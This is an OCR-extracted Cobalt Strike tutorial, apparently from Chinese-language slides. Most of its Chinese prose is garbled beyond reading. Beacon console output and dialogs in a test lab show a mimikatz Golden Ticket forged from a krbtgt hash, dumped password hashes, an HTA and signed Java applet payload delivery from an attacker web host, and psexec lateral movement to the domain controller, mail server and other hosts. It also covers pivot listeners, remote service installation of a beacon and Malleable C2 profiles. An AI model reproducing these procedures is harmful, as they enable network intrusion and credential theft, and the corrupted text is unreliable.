https://github.com/Und3rf10w/external_c2_framework
http://www.insomniacsecurity.com/
https://github.com/ryhanson/ExternalC2
https://ryhanson.com/
https://labs.mwrinfosecurity.com/blog/tasking-office-365-for-cobalt-strike-c2
https://github.com/outflanknl/external_c2
https://www.outflank.nl/
https://outflank.nl/blog/2017/09/17/blogpost-cobalt-strike-over-external-c2-beacon-home-in-the-most-obscure-ways/
https://outflank.nl/blog/2017/09/17/blogpost-cobalt-strike-over-external-c2-beacon-home-in-the-most-obscure-ways/

XSRS
AREAEE N EEMFRAISE

B HER, BRI LA RIS HRS M % . EEE L IKERR AT A,
B List Drives %51

BER, XSSP RIE MRIEERS B Beacon HUTAMESS. SUNIERERR
IHMERIGERISERIFTERNZ, HF Beacon I NT—1. FNREA Beacon
STEEERER, NERSXENIEREAES AR, ENSERESRENE
BRASE (flan, F 1070) AOSTEENIsEEs.

iR, XHNERFRE MR =& Beacon HIFTHIESS. EF—
Beacon AR, HXSRRTTAEREGERIEERIFERNS. WRER
Beacon &b TERERIANR, EERANENRRGRIE, BINVEERESIR Beaco
BEARAGE) (fFlan, DF 10%D) AOSZIFNILESs.

Golden Ticket

Golden Ticket E—aKBE{T4ERM Kerberos EiE, =& NNE(FAEEEIRERN

FR{i& Golden Ticket

Golden Ticket EEN&EA.:

1 EPEERENRF

2 B AHEMEEREIENEZ



3159 SID
4 fEF=H)s8 E krbtgt FEFAY NTLM 18%{E

# \Zl|[beacon] - > Access - > Golden Ticket, M Cobalt Strike &p—3K
Golden Ticket, HiZELL FPUK(SE, Cobalt Strike 15/ mimikatz 45—

KERFFFIEELENZRAY kerberos W2,

Golden Ticket Tutoria

beacon> shell kList

|*] Tasked beacon to rum: klist

[+] host called home, sent: 25 bytes
[+] received output

'kList' is not recognized as an internal or external command,
operable program or batch file,

beacon> shell c:\windows\sysnative\klist
| *] Tasked beacon to run: c:\windows\sysnati




-

192.168.1.10 192.168.2.66

Event Log X | Beacon 192.168.2.66@2432 X

Henew lime: 972472015 21:54:506 r
Session Key Type: AES-256-CTS-HMAC-SHAL-96

Client: jsmith @ PLAYLAND.TESTLAB
Server: LDAP/DC.playland. testlab/playland. testlab @ |
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags 0x40a40000 -> forwardable renewable pre
Start Time: 971772015 21:54:56 (local)

End Time: 0/18/2015 7:54:56 (local)

Renew Time: 9/24/2015 21:54:56 (local)

Session Key Type: AES-256-CTS-HMAC-SHA1-96




beacon>| shell whoaml Jusei

[*] TasKE€U DEACoON 10 TUNT Witoami /user

[+] host called home, sent 32 bytes
[+] received output

USER INFORMATION

User Name

playland\jsmith S=1-5-21-1875230500-875753713-3263804405-1 106



Event Log X | Sites X | Beacon 192,168.2.66@2800 X | Beacon 1924

user password ‘realm
Administrator a7656816b026f071cd8710bd... DC
pgobe 4ebf3812b388870508d62428... DC
Guest 31d6cfe0d16ae931b73¢59d7... DC
nupton ba61bd24166cadc40elc3b51... DC

rthomas deda0b3e499c¢5b9c8db2080.,. DC

-

krbtat 2fctf3aa3SclflBes54a7a912199... D

jsmit ded4alb3e499c5b9c8db2080..., DC
lab B8846f7eaeeBfbll7ado6bdds.,. DC
bdelpy 71fc12dfoSe0b80ed98c1d88... DC
bdade a3f5633c9826c9cbdc0a780a... DC
ccampbell cl23ece74985e91a62f308db... DC
asehgal 18d7330cc51bccoSbabafdo2f... DC
tquack 548da05¢e655145398d8786... DC

e e e S Y = R e e S e e




Beacon 192.168.2.66@2432 X

Iime: 9/24/2015 21:154:56
lon Key Type: AES-256-CTS-HMAC-SHA1-96

1t: jsmith @ PLAYLAND.TESTLAB
er: LDAP/DC.playland. testlab/playland. testlab @ PLAYLAND,.TESTI
licket Encryption Type: AES-256-CTS-HMAC-SHAL-96

*t Flags 0x40a40000 -> forwardable renewable pre authent ok as
t Time: '-ifl.ffﬂ.”‘l 21:54:56 (local)
‘ 9/18/2015 7:54:56 (local)

972472015 21:54:56 | local)

Type: AES-256-CTS-HMAC-SHA1-96




he

Lolden | icket

This dialog generates a golden ticket and ir
current session.

User: Administrator
Domain. PLAYLAND
Domain SiD: 21-18/75230590-B/5/53713

...................................

KRBTGT Hash: fef3aa3sc1f185

Build | | HE_JE-

acon> mimikatz kerberos::golden Juser:Administr :Iur ;dnmnn

/k b tG2bei-3ae-05c 185 4a-7a 0121996806 he3— e ndin+48¢
|*] Tasked beacon to run IIIHIHln ttz S ke Itn ros {|nlth\{} fll*'atl l\dll
Jkrbtgt: 2fct3aa3bc 11 1854a7a9121996b061c3 /endin: 480 /renewmax

|+

|+
User ¢ Administraton
Domain + PLAYLAND

t‘*l I

lise

| host called home, sent: 297558 bytes
| received output

I 1 S=1=5=21-18/752305090-87/5753713- 326380440"
500



beacon> shell dir “\\IX \CS
Tasked beacon to run: di

1wst called home, sent TACE
[+] received output
Volume in drive \\DC\C$ has no label.
Volume Serial Number 1s BEOZ2-18F8

Directory of \\DC\C$

07/13/2000 11:20 PH <DIR> PertLogs
0770372015 05:49 PH <PDIR> Program Files
04/17/2015 05:44 PM <DIR> Program Files (x86)
04/16/2015 00:40 PM <DIR> Users
0471772015 06:02 PH <DIR> Windows

0 File(s) 0 bytes

5 Dir(s) 27,336,863,744 bytes free

Host File

Cobalt Strike Y Web [RSFesRILIAGIEEHSTREFTEE, HA
Z| Attacks -> Web Drive-by -> Host File #{Ti85, EEREINERISUE,

WEIR(ER URL, AFSIRESU4RT mime 3REY,

1550 Enable SSL to serve this content over SSL, 7£ Malleable C2 Et&3 {4

FRiERE S 2T SSLIEERY, IHSITAT A,

HTML Application I

HTML N FEfER2 R HTML 8 5/Y Windows #25#0 Internet Explorer 323589

HAIES. 1ZBE—ME1T Cobalt Strike §50TESA9 HTML N FEFER?. IR


https://www.cobaltstrike.com/help-malleable-c2#validssl

SRR L SR E A T4, PowerShell SBE{TERGAE. HA

%l Attacks -> Packages -> HTML Application.

WIEE A AT LA TR NI ES . 1ZaIT A 25— N T U4 RS
2HIZITE. 1 PowerShell 9755515 PowerShell fB9—HHE0iE Tt 2 RuE,
1Z VBA 75L& HER Office ZZENBHBEBENEANEFE. VBA FiEEER

FRESE LAY Microsoft Office,

XM EA M ARG TIEEN TR, ATHITHEZS BTSSRI
£2hHE1TE. PowerShell 7555145 PowerShell —{Ti2FRiz TR
stager, vba 75i%f#ER Microsoft Office ZRIGBEMREEANEIRTFH, VBAH

EEERIRRS LS Microsoft Office,

HTML Application Attack on Windows 10



MM {packages [ appication |l I

external Web Drive-by * | Ms E:_}ffltk Macro ser
Spear Phish pPayload Generator
| USB/CD AutoPlay

Windows Dropper
Windows Executable

windows Executable (S)

Event Log X

00/17 !

09717 14;:: system protilel http: //a
09/17 14:45: 'celved system profile (4 applications
09/17 14:46: ** received sy profile (4 applications
09/17 14:46:55 *** received system profile (3 application:
00/17 14:¢ ¥** recelved system profile (5 applications)
09717 14:¢ profile (5 applications




HIML Application Atta

This package generates an HTML application that runs a

payload,
Listener: - A(_id_ .
Method: PowerShell -

Generate .|| Help

Create a lis

prm—

profilej http://ads, Losenolove,.com:80/1in/

LLle (4 applications
Lle (4 applications
| le } applications
applLications
.|j-|||[E ations)




| Input
0 This beacon uses HTTP to check for taskings. Please provide the
domains to use for beaconing. The A record for these domains

must point to your Cobalt Strike system. An IP address is OK,
Separate each host or domain with a comma.

HTML Application Attack -~ “

This package generates an HTML application that runs a
payload,

Listener: ||:2 - beacon http v | w
Method: |PowerShell

mSensraiey (ukiola

h




Save

Save In: [D root

L] applet [ videos
[ cobaltstrike [ ec2.pem
[J Desktop

[ Downloads

) Malleable-C2-Profiles

) PowerSploit

) PowerTools

[ Public

[ Templates

[ veil-Evasion

File Name: ]Lpdate&.hta{

Files of Type: [All Files




BELrPLU

internal = user com

Host File

Host a file through Cobalt Strike's web sen

File: 'jrnotfupdatez‘,.hta

Local URI; 'jupdates.hta

Local Host: |ads.losenolove.com

| Local Port: (80

Mime Type: lautomatic

! Laungh || Help




Success

Started service: host file
Copy and paste this URL to access it

ttp://ads.losenolove.com:80/updates.htal

orerOsOve COMm

per Fily iy ' prmanig x

Thor prilsbiabery o osslel ot boe werifiord Are you e pou want o run the
sl tuwar £

: Hame  CiUseryiwhatts hogy Downlosdy updstes hta
: Fiitsees  Uwiireswn Pulsiaber

Tipe I dgeds atson

From  {Usert' whatts hogy Downlosd | updste, Ma

Hrﬂ !— Candel

v by mil el e oparang Thes fie

That fle doas not et 8 vabid dejitad segnabure that werd as @1
a pghluh.u P thaoadd oanby run LoMesee eoim Fq.ﬂ‘.ﬂr..h-‘dl. i frusl




external internal - user
Bl 108.51.97.41 172.16.20.174 whatta.hogg

Event Log X

09/17

09/17

09717 | |
00/17 eiy , | , licat
09/17 ' e1y 7S L 1 Lle | | i1
09/17 - | |
09/17 ved system pri . licat
09/17 . 1 hosts | | home /ubuntu b a 11p L
09/17 ) #*% initi. eacon from whatta.hogg@l172. 16, 20,

Tk

Java Signed Applet I

I T Br)iEid - >web drive by->signed applet I3k S, XNMNKEEED
7— Cobalt Strike Web iR5588, B&ME 7 — 1 BEEM Java /MEF. B
KipEERT applet BITAIR, SHEERFULANRES, SHUaTLAGIEMEIIRY
A&,



%8 URI IREMROLAEE Web RS 28.
¥ Launch EHFIRIGE

175#¥ Enable SSL LUEJ SSL RHLLERNZE. £ Malleable C2 BcEX{4isES

ST SSLUETRY, IHIRIRAT A,

1% Enable SSL to serve this content over SSL, 7£ Malleable C2 Bg& {4

TREA XY SSLUEPRY, IHIRITATA.

Signing Cobalt Strike's Applet i

ESEERHIIEEZIEBER T, Cobalt Strike B Java 2/ \p FTERFIX
HE T . AHERSR T IARB RIS RIUEPREE Cobalt Strike A9
Java &&/\ERFKGE.

Java Applet Attack Code Signing Tutorial


https://www.cobaltstrike.com/help-malleable-c2#validssl
https://www.cobaltstrike.com/help-malleable-c2#validssl
https://www.cobaltstrike.com/help-malleable-c2#validssl
http://blog.cobaltstrike.com/2014/01/21/obituary-java-self-signed-applet-age-1-7u51/

Cobalt Strike View Attacks Reporting Help
O O BSrcaes WA BEwbD da IS
Manage er

Spear Phish Clone Site

external

Host File
PowerShell web Delivery

Signed Aqplet Attack

Smart Applet Attack

System Profiler

- -

| Event Log X |

Java Applet KA i%%5 44 .



[IJ!IF | computer |

Self-signed Applet Attack

This package sets up a self-signed Java applet. This package *
will spawn the specified listener if the user gives the applet

Local URI: |/mPlayer

Local Host: |192.168.1.11

Local Port: |80

Listener: Il_ncll - beacon “ttp -

| Launch || Help |

Manage
Clone Site

Host File

PowerShell web Delivery

Spear Phish

Smart Applet Attack

System Profiler
'—

Event Log X




Success

Started sarvice: host applet
Copy and paste this URL to access it

Ok



-
@- @ http://192168111/mPlayer P~ ¢| @ 192168111
Loading, please wait.

Application Blocked by Java Security

For security, applications must now meet the requirements for the Hy
security settings, or be part of the Exception Site List, to be alowed '

More Information

Name: Java
Location: http://192.168.1.11

Reason: Your security settings have blocked a self-signed applica




/codesign# keytool -genkey -alias server -keyalg RSA -keysize 204¢
Enter keystore password:
Re-enter new password:
What 1s your first and last name?
[Unknown] : Strategic Cyber LLC
What 1s the name of your organizational unit?
[Unknown] : Production
What 1s the name of your organization?
[Unknown] : Strategic Cyber LLC
What is the name of your City or Locality?
[Unknown] : Washington
What is the name of your State or Province?
[Unknown]: DC
What is the two-letter country code for this unit?
[Unknown] : US
Is CN=5trategic Cyber LLC, OU=Production, O0=5trategic Cyber LLC, L=Washingtor
[no]: yes

Enter key password for <server=
(RETURN 1f same as keystore password):

Re-enter new password:

Re-enter new password:
/codesign# keytool -certreq -alias server -file csr.csr -keystore
Enter keystore password:
t~fcodesign# 1s
csr.csr keystore. jks
codesign# .

fcodesign# ls
csr.csr keystore, jks

'codesign# cp /mnt/hgfs/dropbox/strategic_cyber_llc.p7b

'codesign# keytool -import -trustcacerts -alias server -file straf
jks
Enter keystore password:
Certificate reply was installed in keystore

'~/ codes ign#¥



Cobalt Strike [IewW Attacks Reporting Help

New Connection o BIELPU D ca B H

Erl’:“'h?'r*?‘l‘lll'l?ﬂ

internal = user

Visualization )
VPN Interfaces

Listeners

Close

- -

Event Log X

09/16 11:41:34 *** rsmudg s ted

Jdqned applet http://19




internal -

- W

Event Log X Scripts X 3

root/applet/applet.cna I




Packages

Spear Phish

Clona Site
Host File
Powershell web Delivery
sSigned Applet Attack
Smart Applet Attack
System Profiler

Cobalt Strike

computar

jroot/applet/applet.cna



Event Log X

Scripts X | Sites X

stager

Host



Manage

Clone Site

Host File

PowerShell web Delivery
I

System Profiler

—

Spear Phish

Self-signed Applet Attack SN

This package sets up a self-signed Java applet. This package *
will spawn the specified listener if the user gives the applet

-

Local URI: |/mPlayer

Local Host: [192.168.1.11

Local Port: [BO
Listener: |local - beacon http ~ [ Add|

utiunchg) utielpa)




TightVNC: chutes

G & http://192,168.1 11/ mPlayer P~ G| 8192168111

Loading, please wait

Do you want to run this application?

Name: Java

{
= Publisher: Strategic Cyber LLC

b=

-

Location:  hitp://192, 168.1.11

Ths apphcation will nun with unrestricted sccess which may put your computer and personal
information at risk. Run this application only if you trust the location and publisher above.

| Denot show this again for apps from the publisher and location above

Java Smart Applet I&E

Cobalt Strike B9 Smart Applet Attack 587 Z/NwiR, LU Java &2V5E
ZRR—MNRIFE .

I T EAEIT Attacks - > Web Drive-by - > Smart Applet Attack 3X15.
W HERN TIEE Java applet B9 Cobalt Strike Web iR5328, 247, Itk applet
£ Java &£ fEH IET, FEAEERFHIARIR S50,

25 URI B&42F0 Port LIELE Web RSSEE,

17578 URI Path @i SSL 2tttk 8= (Enable SSL to serve this content over

SSL) . 7E Malleable C2 EEEHHEEEHY SSLIUEERT, LEIEITAT A,



https://www.cobaltstrike.com/help-malleable-c2#validssl

smart applet SHTEIMEFREEFREF Java imiE. 1R Java IRABZZE]
W, W applet §ERA% LT, FHEMA Cobalt Strike A Java iEABENMS
1.

BORBIEHRIXLIESRT Java 1.7u21 RERIRAEIER, Java 1.6u45 RE(R
IR B ZZENXFIRE,

6% Launch LUSEhIRSE

TR IWINERSSIEER, ERERNEFIMEHIRN

&R

Cobalt Strike IRt T —MEFZARFRE, FHEABNENSZ. DREIBRA

WLEGHNE] View -> Targets. #AZ| [target] -> Login FHEEZEFTEEAVE

MFBaMEI.

3 N S .

BFHFLARIIERE:

| D e
PsExec (PowerShell) - /0| X
user =~ password realm note
Administrator 8846f7eaee8fbl17... GRANITE -
Administrator 4d714387627d0b7... WS2
Guest 3ldé6cfe0dl6ae93... ws2
Guest 31d6cfe0d16ae93... GRANITE
lab 8846f7eaee8fbl17... GRANITE
user 8846f7eacesfbl117... GRANITE -
User: \Administrator ]
Password: 4d714387627dob7bedfb527d9sfasfol |
Domain: |ws2 ]
Listener; [Iocal - beacon smb - ] [ Add ]
Session: [whatta.hogg *via 172.16.20.193@3568 | el
[Tl Use session's current access token
‘ Launch H Help ]




BB RIEE:

B5%, IRE(RE RIS I TR0, MREAE Beacons PEASHE,
IBEPERSIERISRRLECHIE. NRIFEEREIEERRREEEs, BB
WiIRKR, NERFEFIREERESIESR "user” , "password” #1 "domain”
¥, Beacon BERAILLERAEEMNILIACH. BiclE SFENSTEMEL

[(EERITREABEERIERT(F,
BTk, R T BT listener, SMB Beacon BHEE— MRIFAYRIESE.

e, ERENTEABIENSRIE, Cobalt Strike FIRSPIERELERE
IXBEEEMNZRERIIRGHNIT. NRIRE Beacon RIEAITIE, NFEEHRIT
WS, INREEEHITATSS, BEEERESR Windows &5, 75

e, EFEERTERBIINERISE. Cobalt Strike R ESHEHIREEXT
PNEEEHN— NIRRT, NRIEI LKL Beacon 21F, NFTIER

TN, WREEEHITRENSE, 155 eI HIRT Windows &%t #

12642 lauch %5, Cobalt Strike J&ELERTIE Beacon AUIAII-RAHRE A HE L.

KBEWENRIREE-E Beacon I=HI69,

Cobalt Strike t&[@E85h



T — - w I — 27 — Wy WA € T el W ™ O Y

external internal = user
BN 108.51.97.41 10.10.10.190 whatta hogg

- -

Event Log X | Beacon 10.,10,10,190@3540 X

beacons sleep 2
[*] Taskeuveaconm to sleep for 2s
[+] host called home, sent: 16 bytes




address = name

Zl~ 10.10.10.190 wWs2
LDgIH *
=can
Services
| Host ’

- -

Event Log X | Beacon 10.10.10.190@3540 X

beacon> sleep 2
|*] Tasked beacon to sleep for 2s
[+] host called home, sent: 16 bytes

beacon> net view
1| *] to run net view




lasked beacon to run net view
[+] host called home, sent: 74296 bytes
[+] received output

List of hosts:

Server Name IP Address Plat
BILLING-POWER 10,10, 10,227 500
CEOSBOX 10.10.10. 189 500
D( 10.10.10.3 500
FILESERVER 10.10,10.4 500
JOSHDEV 10, 10,10, 18 500
MAIL 10.10.10.5 500
WS?2 10,10, 10, 190 500

[WS2] whatta.hogq/3540

--------------------- - o -

BILLING-POWER 10, 10. 10, 222 500
CEOSBOX 10.10. 10. 189 500
D( 10.10.10,3 500
FILESERVER 10,10, 10.4 500
JOSHDEV 10.16.10. 18 500
MAIL 10.10.10.5 500
WS2 10, 10, 10, 190 500

beacon> powershell-import /root/PowerTools/PowerView/powerview
[*] TasKeu DeEacon Co AmpoT T /To0C/POWETTOU (S /POWETVIEW/ poweTV
[+] host _called home.  sent: 408258 hytes

beacon> powershell Invoke-FindLocalAdminAccess

[*] TasKeu veacon 0 TunT INVOKE=TFINMICoTa CRUMITTATCess

[+] host called home, sent 315 bytes

WS2] whatta.hoqq/3540




address =
10.10.10.3
10.10.10.4
10.10.10.5
10.10.10.18
10.10.10.1¢ Seryices
10.10.10.] Host

Scan

F

name

FILESERVER

pexec | YO0

psexec (psh) JOSHDEV
winrm (psh)

wmi (psh)

10.10.10.2




user password realm note

User:;

| Password:

k

< Domain;

Listener: 'er_z - beacon SMB

Session: ;whatta.hngg wvia 10.10.10.190@3540

| Use session's current access token|

| Launch..|| Help |

)eacons: psexec FILESERVER ADMIN$ ec2 - beacon SMB
*] Tadked heacon to_cun windows/heacon _smh/bind _nin®s (\\FILESI

\\FILESERVER\ADMIN$\a099c33,exe)

+] host called home, sent: 208140 bytes
+] received output
tarted service eOb566c on FILESERVER

+] established Link to child beacon: 160,

WS2] whatta.hoqq/3540 e |




B8 10.10.10.3 DC

Ty~ 10.10.10.4

B 10.10.105 Login :

M 10.10.10.18 !nteract

B 10.10.10.189 Scan Access *
¥ 10.10.10.190 Services Explore » |8
BN 10.10.10.222 Host " | Bivoting * | pe

Spawn | Eils

Session * | Ne

1 PG

SC

- -

Event Log X | Beacon 10.10.10.190@3540 X

[*1 Tasked beacon to import jluntiPuwrlfhﬁmafﬁﬁﬁﬁfﬁiﬁﬁ}ﬁhwa
[+] host called home, sent: 408258 bytes
beacon> powershell Invoke-FindLocalAdminAccess
fasked beacon to run: Invoke-FindLocalAdminAccess
[+] host called home, sent: 35 bytes
[+] received output
fileserver.corp.acme.com

beacon> psexec FILESERVER ADMIN$ ec2 - beacon SMB

[*] Tasked beacon to run windows/beacon smb/bind pipe (\\FILI
(\\FILESERVER\ADMIN$\a099c33.exe)

[+] host called home, sent: 208140 bytes

[+] received output

Started service e0b566¢c on FILESERVER




i W

EventLog X | Beacon 10.10.10.190@3540 X | Processes 10.10.10.4@7

PID PPID Name

0 0

1952 1928 explorer.exe
2016 1952 VBoxTray.exe
136 1952 mshta.exe
420 948 wuauclt.exe
936 500 svchost.exe
1296 500 svchost.exe
884 500 svchost.exe
1152 500 msdtc.exe
4 0 System

288 4 SMSss.exe

— —g— S




address =
10.10.10.3
10.10.10.49
10.10.10.5
10.10.10.18
10.10.10.189
10.10.10.190
10.10.10.222

name

e e e i

I:~ oY
FILESERVER
MAIL
JOSHDEV

CEOSBOX
WSs2
BILLING-POWER




|
address -
10.10.10.3 3
W® 10.10.10.4 FILESERVER
10.10.10.5 MAIL
10.10.10.18 jO

_lLogin DS AXEC
10.10.10.189 Fa ! “ e

¥ 10.10.10.190 A Scan psexec (psh)
10.10.10.222 =1 Seryices winrm {p;h}

Host * | wmi (psh)




Bl K

user password realm

ser:

_| Password:

p

- Domain:

note

l Listener: rt=.~r.2 - beacon SMB

lSessioﬂ: |SYSTEM * via 10.10.10.4@736

N

lr:ﬂ Use session's current apcess token!

L

beac
[+]
beac
1%]
head
beac
[*]
heac

[+]

| Launch .| [ .Help.|

mpeErsonated CORP\AOMLIN1STrator

on> psexec DC ADMINS ec2 - beacon SMB
[ ask e eRcoir—oor TanWiTiuows7 o caton—smo7oand
on>| psexec MAIL ADMINS ec2 - beacon SMB

rasked=t i nd

N

on> psexec JOSHDEV ADMIN$ ec2 - beacon SMB

]li"‘i"-l |£ !H LR B :

on> psexec CEOSBOX ADMIN$ ec2 - beacon SMB

[asked beacon_to_run_windows theacon_cmb.thind
on> psexec BILLING-POWER ADMINS ec? - beacon
fasked beacon to run windows /beacon smb/bind

an_all il an — - -~
R _EWS AFER REEE (AL

(\\BILLING-POWER\ADMINS$\95d3b2f.exe)

host called home, sent 1040615 bytes

[FILESERVER] SYSTEM */736

pipe

dy pipe

pipe

H'ihu
e g

SHB
pipe




U BwhBD Pda B G
("™ ’
"l
SYSTEN *
ILESER\ER @ 730

3

7

(™, 7 (’""“F
i BN BN,
“ “x e

SYSTEM * SYSTEM * SYSTEM *
MAIL @ 1460 CEOSBOX @ 5 DC @ 9452

- -

Pivot Listeners

BRI M Bir 22l S AEH BN EEENER —MRIFI T A, pivot
listener P& EIEESPER] Beacon B SSH SEAYMIAES. BILXfAL, &

JLEIEFNRESE, ARSI SR E BiRiER
ZiRE pivot listener, i§#HAZ [beacon] -> Pivoting -> Listener, Xi§]

F—I"XGEE, eI LAERAFESHHY pivot listener,



Mew Listener

A pivot listener is a way to use a compromised system as
a redirector for other Beacon sessions.

Name: WS2 - Pivot] |

Fayload: [wiﬂdDwsfbeacon_reverse_tcp - ]

Listen Host: [10.10.10.190 |

Listen Port: (4444 |

Session  [whatta.hoggvia 10.10.10.190@2400] | ... |

[ Save H Help ]

pivot listener E4FEZHEE Session FRYlTiwO, Listen Host {BECER[A
TCP B tAF A TSI RITas Aot

ME, E—AIBREEIE windows/beacon-reverse-tcp, IX2—N&
stager B listener, X MNEETRAZ RSB, MXLHSHENN

B2 stagers Y, BAILUBESH— M RENBM stageless payload

artifact FIEITEREE—RER TCP B,

Pivot Listeners "2 pivot ENAIBLKIBECE. AR pivot EHNEBETE
MAIPIXIEINRE, NEARESTHERINITEE. B, BEER, ARTUXFME
R EF REERBRIFL ST,

MBS Pivot Listeners, iB#ENAZ Cobalt Strike - > Listeners, F7EHBE
THBR(NrEs, SNERSIEBIATLAAIE, Cobalt Strike & IE—MESIERR N

IFEZFT5,

Cobalt Strike Bz[a] TCP Pivot Listeners


https://www.cobaltstrike.com/help-staged-exe
https://www.cobaltstrike.com/help-staged-exe

_— — - T - T W T - e 0w T | . e

external internal - user

o 172.16.30.131 10.10.10.191 im.stevens

EventLog X




New Listener e ® O

A pivot listener is a way to use a compromised system as a
redirector for other Beacon sessions.

Name: WS1 - pivot
Payload: windows/beacon_reverse_tcp -
Listen Host: {10.10.10.191
J Listen Port: (4444
Session jim.stevens via 10.10.10.191@5524 ||

Save Help

beacon> rportfwd 4444 windows/beacon_reverse _tcp

lfasked beacon to accept TCP Beacon sessions on port 4444
|+] host called home, sent: 10 bytes




external

Packages
Web Drive-by

LR FRIEIRENN Spear Phish

PowerShell Web Delivery (S)

HTML Application
MS Office Macro
Payload Generator
USB/CD AutoPlay

Windows Dropper
Windows Executab

bt b

F

EventLog X

Beacon 10.10.10.191@5524 X




Windows Executable (Stageless) @ © ©

Export a stageless Beacon as a Windows -
executable. Use Cobalt Strike Arsenal scripts (Help

Stage: |WS1 - pivot -
Proxy: | —
Output: |Windows ServiceEXE  ~

= x64: | Use x64 payload

»2

| Gninerate ||_Help




Save

e
&

Save In: [ root v |

LJ cobaltstrike [) stagelessweb.cna
L) Desktop

[ J Documents

() Downloads

[J Malleable-C2-Profiles

|

|

_—

] Music
_J Pictures

Public

—

i
L] Templates
L) Videos

File Name: beaconsvc .exe] ]

Files of Type: |All Files

|__.Save

not open \\MAIL\CS$\*: 5
beacon> make token CORP\Administrator passwordl234!
lasked beacon to create a token for CORP\Administratoin
[+] host called home, sent: 50 bytes
[+] Impersonated CORP\jim.stevens




beacon> s \\MAIL\CS$
lasked beacon to list files in \\MAIL\CS
[+] host called home, sent: 27 bytes

Listing: \\MAIL\CS\

Size Type Last Modified Name

din 10/25/2018 21: SRecycle.Bin
dir 06/27/2018 089:55; Documents and Settings
din 06/30/2018 12:08;¢ inetpub
dir 06/27/2018 16: PertLogs
dir 10/25/2018 26:30; Program Files
dir 10/25/2018 23:18: Program Files (x86)
dir 10/26/2018 00139 2« ProgrambData
dir 0o/ 2/7/2018 B9 ' Red overy
din 06/30/2018 12:24:4¢ shared
dir 06/27/2018 13:08:¢ System Volume Informat
dir 10/25/2018 21: Users
dir 12/18/2018 149;" Windows
}80kb fil 02/03/2018 . bootmgr
b fil 87/16/2016 BOOTNXT
512mb fil 12/24/2018 11:38:4 pagefile.sys




beacon> cd \\MATL\C$\windows\ temp

cd \\MAIL\CS\windows\temp
[+] hostCatiedhone, SentT 30 hyTes
beacons upload /root/beaconsvc.exe

Tasked Deacon 1o upload /root/beaconsve.exe as beaconsvc,
[+] hos{ CatTl&EN oME, SENTT 288793 DYTES
beacon> run sc \\MAIL create beaconsvc binpath= c:\windows\te
IL*“Thl.[l i'”'ll(lHl Loy Fumn b 1! %\ AL L Licale i]l':lll”l‘ﬁ\"l i]l”lhllil—
host called home, sent: 83 bytes
recelved output

ice SUCCESS

beacons run sc \\MAIL start beaconsvq

[asKEU DEatom T0 TUNT ST LLHATTSTart beaconsve
(+] host called home, sent: 43 bytes
|+] received output

SERVICE NAME: beaconsve
1YPI t 10 WIN3Z2 OWN PROCESS
STATE t 2 START PENDING
(NOT STOPPABLE, NOT PAUSABLE
WIN32 EXIT CODI 1 b (Ox0 )
SERVICE EXIT CODE 1 B (0x0)
CHECKPOINI 1 Bx0
WAIT HINI i Bx7doe
Pl 1 1586




xternal internal » user
™. 10.10.10. 10.10.10.5 SYSTEM *
- 10.10.10.191 jim.stevens

ome, sen
|+] received output
[SC] CreateService SUCCESS

beacon> lrun sc \\MAIL start beaconsvi

lasked beacon to run: sc \\MAIL start beaconsv«
[+] host called home, sent: 43 bytes
[+] received output

SERVICE NAME: beaconsve
[YPI : 10 WIN32 OWN PROCESS
STATI t 2 START PENDING
(NOT STOPPABLE, NOT PAUSABLE,
WIN3Z2 EXIT CODE : 6 (6x0)
SERVICE EXIT CODE : 0 (06x0)
CHECKPOINI : Ox0
WAIT HINI : Ox7do




Jim.stevens SYSTEM *
WSl @ 5524 MAIL @ 3816

172.16.30.13]

EventLog X | Beacon 10.10.10.191@5524 X | Listeners XI

name payload
local - beacon http windows/beacon_http/reverse_http

WS1 - pivot windows/beacon_reverse_tcp




[+] established link to child beacon: 10.10.10.5
)eacon> rportfwd stop 4444

lasked beacon to stop port forward on 4444
host alled | e, sent

Malleable Command and Control

ik

Beacon B9 HTTP $g+xE Malleable C2 FR& {4454, Malleable C2 BLE {4
B MERERR, BiEElEiaiiEHSHIFMEESS . BIRAFEEUE
AR ECE At AT AN E S HIREF IR S EUE.

BEERBENEENY, BWEa0 Cobalt Strike FBAIRSS 2 FHE L ATIEER
RYBCE (.

./teamserver [external IP] [password] [/path/to/my.profile]

&1 Cobalt Strike SLHIRBEME—MCEXH, MNREESSIREFFEES
REXY, BEMS MRS 1 [RSFEPEECHIREXHE] AN—T

Cobalt Strike ZFimEZEITA],

REEIR

Cobalt Strike B9 Linux 348 81F—1 2lint 127, ZiERFSNEREERENX
HANEEL, NA—LEIMIEE, EEERIENEIREX SR E S HH TR
i, BEUEINSTEBEESFINEZ Cobalt Strike ZRifERALL TERERLEN

.


https://www.cobaltstrike.com/help-beacon

J/c2lint [/path/to/my.profile]

Profile Language

SRR E MM RER EZREXINBECES Y. FF Github EEYFIF.
LIS THECEX4RT, BEERILUTHRS:
# this is a comment

set global option "value”;

protocol-transaction {

set local_option "value”;

client {

# customize client indicators

server {

# customize server indicators


https://github.com/rsmudge/Malleable-C2-Profiles

ERRLA#TEL, HRIER. set iIBOR—MINEIRERTTE. BESHER{)

BESMEEREEGHE—E, EaLRUDSER
ATIULFEXYEHEERRBRSE, XEEG—aBDRIERE:
http-get {
set uri "/foobar";
client {
metadata {
base64;
prepend "user=";

header "Cookie";

BB ECENHE N HTTP GET E=535AYiER. SB5—MES set uri ISEZFinil
IRSSERELESHAEES R URI, It set BAREEEFinfIIRS:CEHRZ
b, RAEERTXFAMUBER,

BEFImRIIHRIT HTTP GET = FinE Xigtn. EXFRERT, ZF 2 Cobalt

Strike B9 Beacon,



%4 Cobalt Strike f9 Beacon “phones home” Bt, B2 E CHITTEIERIZLS
Cobalt Strike, FEMECESHH, FANIWRENINTER HTTP GET iERXITT
B THRIST IR IX,

[FEIR—HIEDR metadata XEFIEE MG TTEYRRIRABRAZIFKA IR HTTP
GET {5k, JTaiEXREFRERIEDAIRNEIRER,

Step Action Data
0. Start metadata
1. base64 Base64 Encode bWVOYWRhdGE=
2. prepend "user=" Prepend String user=bWVOYWRhdGE=
3. header "Cookie" Store in Transaction

IR E—KIBQEARAE base64 RISTEIR[1]. BEKIBUE
prepend, EIRENE(IRSAITTENE, FHEFRIE user=FERIXEE2]. W
TR HEHRA0TTAUER user="". basebA(TTEIRE). FBE=KBETIEH, BIVGE
RS RITTEIRRERI— &8 cookie[31MIE Fim HTTP L,

Beacon NERSZESEMERBEE Y. EIXE, FIM Beacon ZERiImRAIRBEIE
T ZEC BN, Beacon fRSEERAMERAERHHERIRGIE. BigFii)

